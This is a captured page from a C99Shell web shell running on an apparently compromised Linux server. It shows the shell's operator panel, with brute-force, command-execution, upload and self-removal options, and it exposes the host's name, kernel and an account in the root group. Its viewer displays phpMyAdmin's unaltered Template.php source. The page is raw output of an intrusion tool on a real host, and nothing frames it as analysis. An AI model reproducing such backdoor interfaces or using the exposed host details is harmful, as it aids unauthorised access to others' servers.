!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/libraries/classes/   drwxr-xr-x
Free 28.76 GB of 117.98 GB (24.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Template.php (4.5 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin;

use 
PhpMyAdmin\Twig\AssetExtension;
use 
PhpMyAdmin\Twig\CoreExtension;
use 
PhpMyAdmin\Twig\Extensions\Node\TransNode;
use 
PhpMyAdmin\Twig\FlashMessagesExtension;
use 
PhpMyAdmin\Twig\I18nExtension;
use 
PhpMyAdmin\Twig\MessageExtension;
use 
PhpMyAdmin\Twig\RelationExtension;
use 
PhpMyAdmin\Twig\SanitizeExtension;
use 
PhpMyAdmin\Twig\TableExtension;
use 
PhpMyAdmin\Twig\TrackerExtension;
use 
PhpMyAdmin\Twig\TransformationsExtension;
use 
PhpMyAdmin\Twig\UrlExtension;
use 
PhpMyAdmin\Twig\UtilExtension;
use 
RuntimeException;
use 
Throwable;
use 
Twig\Environment;
use 
Twig\Error\LoaderError;
use 
Twig\Error\RuntimeError;
use 
Twig\Error\SyntaxError;
use 
Twig\Extension\DebugExtension;
use 
Twig\Loader\FilesystemLoader;
use 
Twig\RuntimeLoader\ContainerRuntimeLoader;
use 
Twig\TemplateWrapper;

use function 
__;
use function 
is_array;
use function 
sprintf;
use function 
trigger_error;

use const 
E_USER_WARNING;

/**
 * Handle front end templating
 */
class Template
{
    
/**
     * Twig environment
     *
     * @var Environment
     */
    
protected static $twig;

    public const 
TEMPLATES_FOLDER ROOT_PATH 'templates';

    public function 
__construct()
    {
        if (static::
$twig !== null) {
            return;
        }

        
/** @var Config|null $config */
        
$config $GLOBALS['config'];
        
$cacheDir $config !== null $config->getTempDir('twig') : null;

        static::
$twig self::getTwigEnvironment($cacheDir);
    }

    public static function 
getTwigEnvironment(?string $cacheDir): Environment
    
{
        global 
$cfg$containerBuilder;

        
/* Twig expects false when cache is not configured */
        
if ($cacheDir === null) {
            
$cacheDir false;
        }

        
$loader = new FilesystemLoader(self::TEMPLATES_FOLDER);
        
$twig = new Environment($loader, [
            
'auto_reload' => true,
            
'cache' => $cacheDir,
        ]);

        
$twig->addRuntimeLoader(new ContainerRuntimeLoader($containerBuilder));

        if (
is_array($cfg) && ($cfg['environment'] ?? '') === 'development') {
            
$twig->enableDebug();
            
$twig->addExtension(new DebugExtension());
            
// This will enable debug for the extension to print lines
            // It is used in po file lines re-mapping
            
TransNode::$enableAddDebugInfo true;
        }

        if (
$cfg['environment'] === 'production') {
            
$twig->disableDebug();
            
TransNode::$enableAddDebugInfo false;
        }

        
$twig->addExtension(new AssetExtension());
        
$twig->addExtension(new CoreExtension());
        
$twig->addExtension(new FlashMessagesExtension());
        
$twig->addExtension(new I18nExtension());
        
$twig->addExtension(new MessageExtension());
        
$twig->addExtension(new RelationExtension());
        
$twig->addExtension(new SanitizeExtension());
        
$twig->addExtension(new TableExtension());
        
$twig->addExtension(new TrackerExtension());
        
$twig->addExtension(new TransformationsExtension());
        
$twig->addExtension(new UrlExtension());
        
$twig->addExtension(new UtilExtension());

        return 
$twig;
    }

    
/**
     * Loads a template.
     *
     * @param string $templateName Template path name
     *
     * @throws LoaderError
     * @throws RuntimeError
     * @throws SyntaxError
     */
    
private function load(string $templateName): TemplateWrapper
    
{
        try {
            
$template = static::$twig->load($templateName '.twig');
        } catch (
RuntimeException $e) {
            
/* Retry with disabled cache */
            
static::$twig->setCache(false);
            
$template = static::$twig->load($templateName '.twig');
            
/*
             * The trigger error is intentionally after second load
             * to avoid triggering error when disabling cache does not
             * solve it.
             */
            
trigger_error(
                
sprintf(
                    
__('Error while working with template cache: %s'),
                    
$e->getMessage()
                ),
                
E_USER_WARNING
            
);
        }

        return 
$template;
    }

    
/**
     * @param string $template Template path name
     * @param array  $data     Associative array of template variables
     *
     * @throws Throwable
     * @throws LoaderError
     * @throws RuntimeError
     * @throws SyntaxError
     */
    
public function render(string $template, array $data = []): string
    
{
        return 
$this->load($template)->render($data);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--